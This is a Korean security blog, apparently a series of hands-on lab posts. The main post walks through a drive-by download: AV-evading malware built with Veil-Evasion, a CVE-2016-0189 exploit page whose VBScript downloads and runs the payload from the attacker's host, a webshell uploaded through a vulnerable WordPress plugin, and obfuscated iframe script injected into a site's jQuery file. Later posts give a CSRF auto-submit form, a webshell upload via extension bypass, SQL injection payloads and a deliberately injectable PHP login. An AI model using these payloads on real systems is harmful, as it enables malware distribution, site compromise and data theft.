반응형

 

 

 

안녕들 하시죠 !

 

이번시간에는 CVE-2016-0189 취약점을 이용한 사이트 방문만으로 악성코드가 다운되는 실습을 진행해보겠습니다.

 

얼마전 올린 글에서 사용한 기법들을 사용할텐데요.

 

Veil-Evasion, vbscript_gotmode.html, b374k 웹쉘 등 을 이용할 계획입니다.

 

우선 Veil-Evasion을 이용하여 백신에 탐지되지 않는 악성코드를 만들어보겠습니다.

지난 게시물에서 진행했던 부분이니 빠르게 넘어가겠습니다.

 

list

 

 

 

use 27

 

 

set LHOST [ 본인 kali ip ]

set LPORT [ 임의의 포트 ]

generate

 

 

 

악성코드 명 : messbox.exe

pyinstaller 1번을 선택하겠습니다.

 

 

messbox.exe을 /var/www  apache의 경로로 복사해놓겠습니다.

cp /usr/share/veil-output/compiled/messbox.exe /var/www

 

msfconsole을 핸들러 경로로 실행시키겠습니다.

msfconsole -r /usr/share/veil-output/handlers/messbox_handler.rc

 

 

이 핸들러는 실습이 끝날때 까지 유지해야합니다 !

 

 

 

 

자, 이제 /var/www 경로에 있는 vbscript_godmode.html을 우클릭 하여 leafpad로 열겠습니다.

find 기능을 이용해 cmd 위치를 찾아주세요.

 

 

위에 화살표가 가리키고 있는 부분을 지우고 제 kali ip로 바꾸겠습니다.

http://192.168.0.29/messbox.exe

 

1
2
3
4
5
6
7
8
9
10
set shell=createobject("Shell.Application")  
shell.ShellExecute "cmd.exe", "/c CD %TEMP%&@echo Set objXMLHTTP=CreateObject(""MSXML2.XMLHTTP"")
>down_exec.vbs&@echo objXMLHTTP.open ""GET"",""http://[ 본인 Kali ip ]/messbox.exe"",false
>>down_exec.vbs&@echo objXMLHTTP.send()>>down_exec.vbs&@echo If objXMLHTTP.Status=200 Then>>down_exec.vbs&@
echo Set objADOStream=CreateObject(""ADODB.Stream"")>>down_exec.vbs&@echo objADOStream.Open>>down_exec.vbs&@
echo objADOStream.Type=1 >>down_exec.vbs&@echo objADOStream.Write objXMLHTTP.ResponseBody>>down_exec.vbs&@
echo objADOStream.Position=0 >>down_exec.vbs&@echo objADOStream.SaveToFile ""%TEMP%\messbox.exe"">>down_exec.vbs&@
echo objADOStream.Close>>down_exec.vbs&@echo Set objADOStream=Nothing>>down_exec.vbs&@echo End if>>down_exec.vbs&@
echo Set objXMLHTTP=Nothing>>down_exec.vbs&@echo Set objShell=CreateObject(""WScript.Shell"")>>down_exec.vbs&@
echo objShell.Exec(""%TEMP%\messbox.exe"")>>down_exec.vbs&cscript.exe %TEMP%\down_exec.vbs&del %TEMP%\down_exec.vbs", "", "open", 0
cs

 

위에있는 쉘코드는 %TEMP% 폴더에 .vbs 파일을 작성하고 실행하도록 구성했고, 이 .vbs가 실행되면 웹 서버에서 악성코드 ( messbox.exe ) 

를 호출하여 다운로드하고, 실행하도록 구성되어 있습니다.

%TEMP% 폴더를 사용하는 이유는 UAC를 우회하기 위함입니다.

 

혹시 악성코드 명을 messbox가 아닌 다른걸로 하신분들은 이부분에서 본인 악성코드 명을 적어주세요.

그럼 아래있는 부분도 알아서 바뀝니다.

 

http://[ 본인 Kali ip ]/[ 본인 악성코드 명.exe ]

 

이제 wordpress에 관리자 권한으로 들어가 slideshow-gallery.1.4.6 plugin을 이용해 웹쉘을 업로드 해 보겠습니다.

slideshow-gallery.1.4.6 버전은 파일업로드 취약점을 가지고 있는데요.

필요하신 분들은 아래 파일을 받아서 사용하세요.

 

slideshow-gallery.1.4.6.zip
다운로드

 

 

 

Slideshow -> Add New

 

 

찾아보기를 눌러 b374k 웹쉘을 업로드한 후 아래의 save slide를 누르겠습니다.

 

 

 

필터링을 하고 있지 않기에 이렇게 쉽게 업로드하였습니다.

 

아래 주황색으로 하이라이트 되어있는 부분을 보면 127.0.0.1/wordpress/wp-content/uploads/slideshow-gallery/8.php로 되어있는데요

업로드한 파일의 경로와 저장된 이름명이 임의의 8.php로 바뀌어있는 것을 알 수 있습니다.

Image 우클릭 -> 새 창에서 링크 열기 를 누르겠습니다.

 

 

웹쉘이 실행 되었습니다.

윗부분 입력란에 비밀번호 b374k를 입력하고 Go !를 누르시면 접속됩니다.

 

 

/var/www/html/wordpress/wp-includes/js/jquery/jquery-migrate.min.js 경로로 이동하겠습니다.

 

아래의 js를 난독화하여 추가해보겠습니다.

 

1
document.write("<iframe src='http://[ 본인 Kali ip ]/0189.html'width='0' height='0' frameboard='0'></iframe>");
cs
독화는 구글에서 '딘 애드워드 패커' 를 검색하여 사용했습니다.
 

 

 

Paste: 부분에 js를 복사 붙여넣기 하고 Base62 encode를 체크 후 Pack을 눌러 난독화를 시켰습니다.

Copy: 부분에 난독화되어진 코드를 복사하여 웹쉘로 돌아가겠습니다.

 

 

Actions의 edit을 눌러 편집해보겠습니다.

 

 

스크롤을 맨 아래로 내려 맨뒤에 난독화 코드를 붙여넣고 save ! 를 눌러 저장 후 빠져나오겠습니다.

kali로 돌아가 아까 작업했던 vbscript_godmode.html 을 0189.html로 이름만 수정해줍니다.

 

이제 피해자 PC에서 Ubuntu ( Wordpress ) 의 ip를 입력해 접속해보겠습니다.

 

 

TEMP 폴더는 파일탐색기의 경로창에 %TEMP%라고만 치시면 바로 나옵니다.

 

 

 

피해자 PC로 웹페이지를 들어가기만 했는데도 악성코드가 다운로드가 되었습니다.

 

중간에 오류가생겨 다른 vm으로 진행하느냐고 ip가 조금 다를 수 있습니다.

 

 

 

세션을 연결하여 migrate 까지 진행해봤습니다.

 

이러한 침투를 방지하려면 취약점이 있는 IE버전을 사용하지말고 항상 최신버전으로 업데이트 해주는게 제일 중요한 것 같습니다.

이번 실습은 내용도 많고 시간도 많이 걸린만큼 배운게 많았던 것 같습니다.

 

 

오늘은 여기까지입니다 감사합니다 !

반응형




안녕들 하시죠 !


오늘은 인터넷 익스플로러의 취약점 CVE-2016-0189 를 이용하여 Drive by download 실습을 진행해보겠습니다.


이번 실습은 IGLOO SECURITY BLOG 의 ' 스크립팅 엔진 메모리 손상 취약점 ( CVE-2016-0189 ) 분석 ' 글을 참고하며 진행했습니다.


Drive by download 란?


이미 알려진 보안 취약점을 이용하여 불특정 다수에게 악성코드를 유포하는것.

보안이 취약한 홈페이지를 변조하여 이미 알려진 보안 취약점을 공격하는 악성코드를 심어놓는다.

사용자는 어떠한 다운로드나 첨부파일을 열어본적 없지만 감염되게된다.

이를 방지하기위하여 사용하는 프로그램을 최신버전으로 유지하는 것이 중요하다.

출처 EST Security 「 Drive by download란 무엇일까요 ?    


아래는 취약점 정보와 공격 시나리오 입니다.


출처 IGLOO SECURITY BLOG  「 스크립팅 엔진 메모리 손상 취약점 ( CVE-2016-0189 ) 분석 



위의 정보를 확인하고싶은 분들은 아래의 URL로 들어가보시면 될 것 같습니다.


http://www.igloosec.co.kr/BLOG_%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8C%85%20%EC%97%94%EC%A7%84%20%EB%A9%94%EB%AA%A8%EB%A6%AC%20%EC%86%90%EC%83%81%20%EC%B7%A8%EC%95%BD%EC%A0%90(CVE-2016-0189)%20%EB%B6%84%EC%84%9D?bbsCateId=1



우선 Github에서 익스플로잇 코드를 다운받고 IE 브라우저가 CVE코드의 영향을 받는지 확인해보겠습니다.


공격자PC : Kali linux

피해자PC : Window 7


https://github.com/theori-io/cve-2016-0189 // Github 페이지 입니다.


git clone https://github.com/theori-io/cve-2016-0189 // Kali 터미널에 입력해 익스플로잇 코드를 다운받겠습니다.



git clone으로 다운받은 후에 exploit 폴더로 이동합니다.

vbscript_godmode.htmlapache2 가 있는 /var/www 폴더로 이동시켜줍니다.



leafpad로 연 후에 search -> find기능을 이용하여 cmd를 찾아보겠습니다.



위의 이미지를 보시면 vbscript_godmode.html에는 cmd를 실행시키는 익스플로잇 코드가 존재합니다.


이제 피해자 PC로 이동하여 [Kali ip]/vbscript_godmode.html 을 입력해 줍니다.



실행이 잘 되었네요.


다음시간에는 이를 이용하여 피해자가 wordpress 사이트를 방문만 해도 악성코드가 받아지도록 하는 실습을 진행해보겠습니다.


오늘은 여기까지입니다 감사합니다 ! 

반응형




안녕들 하시죠 !


오늘은 크로스사이트 리퀘스트 변조에 대해 알아보겠습니다.


크로스사이트 리퀘스트 변조 ( CSRF ) 란?


ㆍ 희생자가 자신의 의지와는 무관하게 공격자가 의도한 행위를 웹 사이트에 요청하도록 만드는 공격.

ㆍ 조작된 Request를 웹 어플리케이션에 전송하는 공격.

ㆍ CSRF가 적용되려면 수정/삭제하는 액션에서 사용자를 구분하는 파라미터 값이 존재하지 않아야 함.


크로스사이트 리퀘스트 변조의 원인과 결과


ㆍ 사용자 입력 값에 대한 적절한 필터링 및 인증에 대한 유효성 검증이 미흡하기 때문에 발생.

ㆍ 서버 내의 파일 변경 및 서버 다운 등의 위험 존재.


CSRF와 XSS의 차이


ㆍ CSRF는 인증된 사용자가 정상적인 Request를 보내 서버에서 실행되는 반면.

ㆍ XSS는 공격자가 작성한 악성 스크립트가 이용자( 클라이언트 )에서 실행.


실습절차


- 일반 사용자 계정으로 CSRF 스크립트가 삽입된 관리자 유도 글 작성


ㆍ 관리자가 해당 글을 읽도록 적절한 제목을 통해 유도.

ㆍ 게시글 등록 시 프록시 툴을 사용하여 request 메시지 확인.

ㆍ 관리자가 해당 글을 읽으면 새로운 문의 글이 자동으로 등록되는 내용의 CSRF 스크립트 포함.

ㆍ master 계정으로 로그인 하고 해당 글을 클릭하여 공격이 정상적으로 실행되는지 확인.


자, 이제 실습을 해볼텐데요 각자 본인 환경에 맞춰서 진행하시면 될 것 같습니다.

저는 제 실습환경에서 사용자로 로그인을 해보겠습니다.



로그인 후에 QnA게시판으로 이동하겠습니다.



일반적인 글을 올려보고, 프록시 툴을 이용하여 request 메시지를 확인해보겠습니다.



raw 데이터를 좀더 확대해봤습니다.



위에서부터 확인해보자면,

name="board_id" 는 게시판이름

name="member_seq" 는 회원 고유번호

name="category" 는 질문 유형

name="title" 는 제목

name="contents" 는 문의내용

name="upload_image";filename="" 는 파일선택하여 업로드하는 부분이라는 것을 확인했습니다.


그럼 이제 문의내용에 CSRF 스크립트를 삽입해 보려고 하는데요, 그전에 의미를 알고가겠습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
<body onload="document.form.submit();"<!-- 페이지 로딩이 끝나면 스크립트를 시작 -->
 
<!-- POST 방식으로 QnA 게시판에 글 등록 -->
<form METHOD="POST" action="http://dev.1shop.com/board/qna/try-add" name="form"
enctype="multipart/form-data">
 
<!-- 숨겨진 입력 필드 정의 -->
<input type=hidden name="board_id" value="qna"<!-- 등록 위치: QnA 게시판 -->
<input type=hidden name="member_seq" value="1"<!-- 작성자 : 회원 고유번호가 1인 값을 가지는 사용자 -->
<input type=hidden name="category" value="기타 문의"<!-- 질문 유형 : 기타 문의 -->
<input type=hidden name="title" value="CSRF 성공"<!-- 제목 : CSRF 성공 -->
<input type=hidden name="contents" value="CSRF 성공 !!!"<!-- 문의 내용 : CSRF 성공 !!! -->
</form>
cs


자, 이제 관리자로 로그인하여 문의글을 클릭해보겠습니다.



문의내용에 아까 작성한 스크립트는 나오지 않네요.

하지만 QnA내용을 보면 아래와같이 성공적으로 CSRF 성공 메시지가 뜹니다.



오늘은 여기까지입니다 감사합니다 !



반응형




안녕들 하시죠 !


이번시간에는 파일 업로드 취약점에 대해 알아보겠습니다.


파일 업로드 취약점 이란?


어떠한 파일을 첨부하여 올릴 수 있는 게시판에 일반적으로 올릴 수 있는 형태 이외에 공격자가 악의적으로 .asp, .php, .jsp 등의 파일을 업로드하여 악성 스크립트를 올려 실행시킨 후,  웹 서버를 장악하고 피해를 주는 행위이다.


실습내용

ㆍ 파일을 업로드 할 수 있는 페이지가 존재하는지 확인.

ㆍ 이미지 파일 업로드 시도( .jpg, .png 등 )

ㆍ 파일이 업로드 되는 경로 확인.

ㆍ .asp, .jsp, .php 등의 확장자를 가진 서버 가이드 스크립트 파일 업로드 시도.

ㆍ 파일이 업로드 되는 경로 확인.

ㆍ 경로를 통한 파일 실행 여부 확인.

ㆍ 서버 가이드 스크립트 파일이 필터링에 걸려 업로드가 안 된다는 가정 하에 확장자 우회 방법을 시도.

  - fiddler 등의 프록시 툴을 사용해 확장자 명을 변경 후 업로드 시도.


파일 업로드 취약점 실습을 위해 저만의 환경에서 실습 진행을 해보았습니다.

우선 앞에서 배운 SQL Injection 기법으로 로그인을 하고 진행했습니다.



게시판에는 파일을 첨부 기능이 준비되어 있습니다.

이 게시판에 제가가진 webshell.asp 파일을 업로드 해볼생각입니다.


우선 웹쉘 파일을 업로드 해보겠습니다.



첨부가능한 확장자를 규정해 필터링하고 있습니다.

우선, webshell.asp.jpg로 확장자를 바꿔준 후에 업로드창에 올린후, 프록시를 잡고 burpsuite를 실행해봤습니다.



글을 업로드하게 되면,



다음과 같이 나옵니다.

그럼 이제, filename부분 webshell.asp.jpg를 webshell.asp로 수정 후, forward로 진행해 보겠습니다.



자, 이번엔 업로드한 webshell(42).asp를 다운받기위해 클릭할때 프록시를 잡고 burpsuite로 확인해보겠습니다.





burpsuite를 보게되면, 아래와 같이 업로드파일이 올라가는 경로가 나와있습니다.




홈페이지ip/demoshop/shop_board/upload_file/webshell(42).asp를 입력해 웹쉘을 실행시켜보겠습니다.



성공했습니다.


오늘은 여기까지입니다 감사합니다 !

반응형




안녕들 하시죠 !


이번시간에는 LOS 3번 문제를 풀어보겠습니다.



쿼리에 select id from prob_goblin where id='guest' and no = 라고 되어있네요.


아래 이미지의 주황색으로 강조해놓은 곳을 보시면 싱글쿼터 ( ' )와 더블쿼터 ( " )를 금지하고 있습니다.

또한 id에 'admin' 이 들어오게되면 solve문을 실행하게 되어있네요.



저는 우선 no= 라는 부분이 궁금했습니다.

그래서 값을 넣어서 결과를 비교해보았습니다.


?no=0



?no=1




이로써 guest의 no값은 1이라는게 밝혀졌습니다.

이 문제를 해결하기 위해서는 guest가 아닌 admin으로 설정해줘야하기에, no값은 0을 사용해야 할 것 같습니다.


그럼이제 ?no=0 부분까지는 알았습니다.


그래서 전 앞에서 늘 해왔던 or문을 사용하여 앞의 구문을 거짓 뒤의 구문을 참으로 만들어 통과시켜 볼 생각을 했습니다.

?no=0 or id='admin'을 입력하게된다면, 싱글쿼터 필터링에 걸릴것이고... 

아래 이미지와 같이 싱글쿼터 없이 admin만 넣게되면 문자열 인식을 못합니다.



이런 경우 문자열을 16진수(hex)로 나타내게 되면 16진수로 변환된 admin의 값을 문자열로 읽어갑니다.


아래에는 문자열을 16진수로 바꿔주는 사이트입니다.  

https://www.percederberg.net/tools/text_converter.html




자 아래에 변환된 Hex형태의 숫자들을 조합해보면 61646D696E입니다.

php에서는 Hex형태를 인식시키기 위해 앞에 0x를 붙여줘야합니다.


따라서, ?no=0 or id=0x61646D696E 라고 입력하게 되면,




성공했습니다.


오늘은 여기까지입니다 감사합니다 !


반응형




안녕들 하시죠 !


이번시간에는 LOS 2번 문제를 풀어보겠습니다.



음... 우선 싱글쿼터( ' )나 더블쿼터( " )를 필터링하고 있진 않고, id값에 admin이 들어가게 되면 성공이네요.

그런데 위에 해시 암호화 md5라는게 있어 잠깐 고민을했습니다.


하지만 pw값은 고려할 것 없이 id값만 만족하면 된다는 생각을 하고 우선 ?id=admin 값을 넣어보았습니다.



 

id값에는 admin이 잘 들어갔지만 and 뒤에있는 pw를 충족하지 못해 클리어가 되지 않네요.

그렇다면 id='admin' 뒷부분을 전부 주석처리해주면 어떨까? 라고 생각했습니다.


mysql에서의 주석기호 # 을 사용하여 뒷부분을 전부 주석처리했습니다.

#은 urlencoding방식으로 %23이라고 적어주셔야합니다.

?id=admin'%23




성공했습니다.


오늘은 여기까지입니다 감사합니다 !


반응형




안녕들 하시죠 !


오늘은 LOS 1번 문제풀이를 해보겠습니다.



다음과 같이 싱글쿼터( ' )나 더블쿼터( " )를 필터링하고있지 않으며, id값에 그 어떤 값이 들어와도 solve가 되겠네요.

자 그럼 우선 id에 아무 값이나 넣어보겠습니다.


?id=hongpossible 



자 이렇게 싱클쿼터 안에 hongpossible이 제대로 들어갔습니다. 

하지만 뒷부분에 pw값을 넣지못해 and 뒷부분을 참으로 만족시키지 못했네요.

그럼 가장 기본적인 SQL Injection구문을 이용하여 or 1=1 로 참을 만들어주고 그 뒷부분을 전부 주석처리하면 참을 만족시킬 수 있을 것 같습니다.

mysql의 주석처리 #을 urlencoding방식을 통해 %23으로 넣겠습니다.



urlencoding에 대해 알고싶으시다면 아래의 URL로 들어가보세요.

https://www.w3schools.com/tags/ref_urlencode.asp



?id=hongpossible'or 1=1 %23



위의 이미지에서 노란색부분 ( #' and pw '' )는 모두 주석처리가 되어버려 성공했습니다.


오늘은 여기까지입니다 감사합니다 !


반응형




안녕들 하시죠 !


오늘은 지난시간에 구축해놓은 APM을 이용해 SQL Injection 실습을 진행해 보겠습니다.


먼저 DB( wp_users )에 레코드를 입력하고, 간단한 로그인용 페이지를 만들어 보겠습니다.


워드프레스를 통해 계정을 생성하게되면 패스워드를 암호화하여 저장하기때문에 HeidiSQL을 이용하여 쿼리를 통해 값을 넣어보겠습니다.


아래의 URL을 통해 들어가서 9.2.0 버전을 설치하고 진행하겠습니다.


https://www.heidisql.com/download.php#



설치 후 실행하면 아래와 같은 화면이 나옵니다.

사용자, 암호에 python 을 입력하고 열기를 누르겠습니다.



열기를 누르면 다음과 같은 화면이 나옵니다.



1번 wordpress를 누르고 2번 쿼리를 누릅니다.



자, 이제 쿼리창을 통해 직접 값을 입력해 넣어볼텐데요.

그전에 wp_users의 모든 데이터를 가져오는 쿼리문 select * from wp_users 를 입력하고 F9 ( 실행 ) 을 입력하면 아래에 

아이디 패스워드 등 정보들이 나옵니다.


이제 'hongpossible' 이라는 계정을 추가해보겠습니다.



1
2
Insert into wp_users(id, user_login, user_pass, user_nicename, user_email, user_registered, user_status, display_name) 
values(3'hongpossible''1234''hong''abcde@naver.com', now(), 0'hongpossible');
cs


그리고 다시 select * from wp_users를 입력하여 값이 잘 들어갔는지를 확인해봅니다.



잘 들어갔네요.


그럼 이제, 'C:\APM_Setup' 폴더의 php.ini 파일을 메모장으로 열겠습니다.

Ctrl + F 를 눌러 magic_quotes_gpc 항목을 찾아 On 을 Off로 바꿔주겠습니다.


gpc( get, post, cookie ) 를 사용하여 넘어온 변수값 quotes( ', ", \, NULL 등) 가 있으면 자동으로 앞에 역슬레시( \ )를 

붙입니다. 이는 우리가 실행할 SQL Injection에 대한 최소한의 방어입니다.



이제 아이디 패스워드를 입력하는 로그인창을 만들어보겠습니다.

직접 php언어를 공부하며 만들어보시는 것이 best겠지만 시간이 부족하신분들은 아래의 소스코드를 'C:\APM_Setup\htdocs' 경로에 

넣어 주시면 됩니다.


config.php


DB와 연결하여 wp_users 테이블을 불러올 수 있게 한다.


1
2
3
4
5
6
7
8
9
10
11
12
<?php
 
$mysql_hostname = "localhost";
$mysql_user = "python";
$mysql_password = "python";
$mysql_database = "wordpress";
 
$bd = mysql_connect($mysql_hostname$mysql_user$mysql_password) or die("db connect error");
mysql_select_db($mysql_database$bd) or die("db connect error");
  
?>
 
cs


login.php


ID, 패스워드를 입력받아 check.php로 넘기는 역할을 한다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html" charset="utf-8"
            <title>Login Page</title>
    </head
<br>
<center>아이디와 패스워드를 입력해주세요</b></div>
    <form action="check.php" method="post">
        <label>아 이 디   :</label><input type="text" name="username" class="box"/><br>
        <label>패스워드   :</label><input type="text" name="password" class="box"/><br>
        <input type="submit" value="로그인"/><br/>
    </center>
</form>
</body>
 
</html>
 
cs


check.php


login.php에서 넘겨받은 ID, 패스워드를 검증하여 사용자의 login ID, 패스워드, 이메일을 반환한다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
 
    include("config.php");
  
    $myusername=$_POST['username']; 
    $mypassword=$_POST['password']; 
 
    $sql="SELECT user_login, user_pass, user_email FROM wp_users WHERE user_login='$myusername' and user_pass='$mypassword'";
    $result=mysql_query($sql);
 
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html" charset="utf-8"<!--utf-8설정-->
<title>Login Page</title>
</head>
<?php
    while($str = mysql_fetch_array($result)){
        echo "
            $str[user_login],
            $str[user_pass],
            $str[user_email]<br>
        ";
    }    
?>
    
</body>
</html>
cs


저는 위의 .php파일들을 htdocs 폴더안에 sqlinjection 이라는 폴더를 만들어 그안에 전부 저장했습니다.

그럼이제 URL창에 localhost/sqlinjection/login.php 를 입력해 들어가보겠습니다.



우선 아까 만든 아이디 hongpossible 비밀번호 1234로 로그인 해보겠습니다.




성공적으로 로그인되어 아이디 비밀번호 이메일이 출력되었네요.


그럼 이제 아이디와 패스워드 입력란에 'OR '1'='1을 입력해보겠습니다.




성공했습니다 !


그럼 이제 왜 이렇게 된건지를 SQL문을 보고 알아보겠습니다.




사용하는 db에 따라 다르겠지만 저의 환경에서는 위에 주황색으로 표시된 부분이 아이디,패스워드를 사용자에게 입력받는 부분입니다.

' OR '1'='1 을 입력하게되면 OR ( 논리합 )뒷부분의 '1'='1' 부분이 참이 되어 전체 결과를 참으로 만들어줍니다.


논리합( OR ), 논리곱 ( AND )


OR

참 + 참 = 참

참 + 거짓 = 참

참 + 참 = 참

거짓 + 거짓 = 거짓


AND

참 + 참 = 참

참 + 거짓 = 거짓

거짓 + 참 = 거짓

거짓 + 거짓 = 거짓


이렇게 해서 [ user_login = TRUE + user_pass = TRUE ] = TRUE 가 되는겁니다.


자, 이번엔 다른 방법으로 인젝션을 진행해보겠습니다.


아이디 입력창에 hongpossible' -- 을 입력해 보겠습니다. 

-- ( 주석 ) 뒤에 한칸은 스페이스로 띄워줘야합니다.




이번에는 비밀번호에 아무것도 입력하지 않았는데도 성공했네요.

어떻게 성공한건지 알아보겠습니다.



이번에는 아이디를 입력하고 '로 닫은후에 -- 로 뒷부분을 전부 주석처리하여 인젝션에 성공하였습니다.

오늘 실습한 인젝션들은 애초에 웹페이지를 만들때 코드단에서 ', --, 문자길이 제한 등의 필터링을 해준다면 이렇게 쉽게 

db정보를 획득하지는 못할 것 같습니다. 

앞으로 다양한 실습을 통해 SQL Injection에 대해 알아봐야겠습니다.


오늘은 여기까지입니다 감사합니다 !




참고서적 이상한 「웹해킹 입문」 프리렉(2016) p59~74

'보안 > Web hacking' 카테고리의 다른 글

Lord of SQL Injection 2번 풀이  (0) 2018.11.07
Lord of SQL Injection 1번 풀이  (0) 2018.11.07
웹해킹 실습을 위한 APM, Wordpress 설치  (0) 2018.11.02
SQL Injection 이란?  (0) 2018.11.02
OWASP Top 10 이란 ?  (0) 2018.10.24

+ Recent posts